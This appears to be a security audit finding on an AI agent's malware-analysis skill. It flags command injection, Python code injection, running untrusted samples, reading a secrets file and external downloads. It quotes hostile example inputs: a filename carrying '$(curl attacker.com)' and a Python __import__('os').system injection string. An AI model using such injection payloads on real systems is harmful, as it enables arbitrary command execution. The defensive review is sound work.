The Agent Skills Directory

[COMMAND_EXECUTION]: The skill is vulnerable to command injection where environment variables are interpolated directly into shell strings without sanitization.
In Step 3.2, the watch command interpolates $SAMPLE_NAME (derived via basename from $SAMPLE_PATH) into a shell string: watch -n1 'ps aux | grep "$SAMPLE_NAME"'. A filename containing shell metacharacters or subshell executions (e.g., $(curl attacker.com)) could lead to arbitrary command execution when the background process runs.
In Step 3.1, the SANDBOX_URL input is interpolated into a curl command without validation, providing a vector for command injection if the URL is not strictly checked.
[DYNAMIC_EXECUTION]: The skill uses python3 -c to execute generated scripts that interpolate unsanitized input, leading to code injection risks.
In Step 2.1 and 2.3, the python3 -c commands interpolate $SAMPLE_PATH into single-quoted strings (e.g., pe = pefile.PE('$SAMPLE_PATH')). A file path containing a single quote followed by Python code (e.g., path' + __import__('os').system('...') + ') would execute arbitrary Python code.
In Step 3.1, the SANDBOX_URL input is interpolated into a Python script via python3 -c, offering another injection point.
[REMOTE_CODE_EXECUTION]: The dynamic analysis phase (Step 3.2) explicitly instructs the detonation of the suspicious sample using strace (e.g., strace ... "./$SAMPLE_NAME"). Executing untrusted binaries on a host system, even under tracing, poses a significant security risk as malware can often bypass simple tracing or compromise the host through kernel-level exploits.
[CREDENTIALS_UNSAFE]: The skill accesses the sensitive file path ~/.config/security-skill/secrets.env to source the VT_API_KEY. Accessing configuration files containing secrets in the user's home directory is a sensitive operation that could lead to credential exposure.
[EXTERNAL_DOWNLOADS]: The skill performs external network operations and installs dependencies:
Fetches analysis data from VirusTotal's official API.
Installs security packages via pip: yara-python, oletools, and pefile.
Submits the malware sample to an external SANDBOX_URL provided by the user.

malware-analysis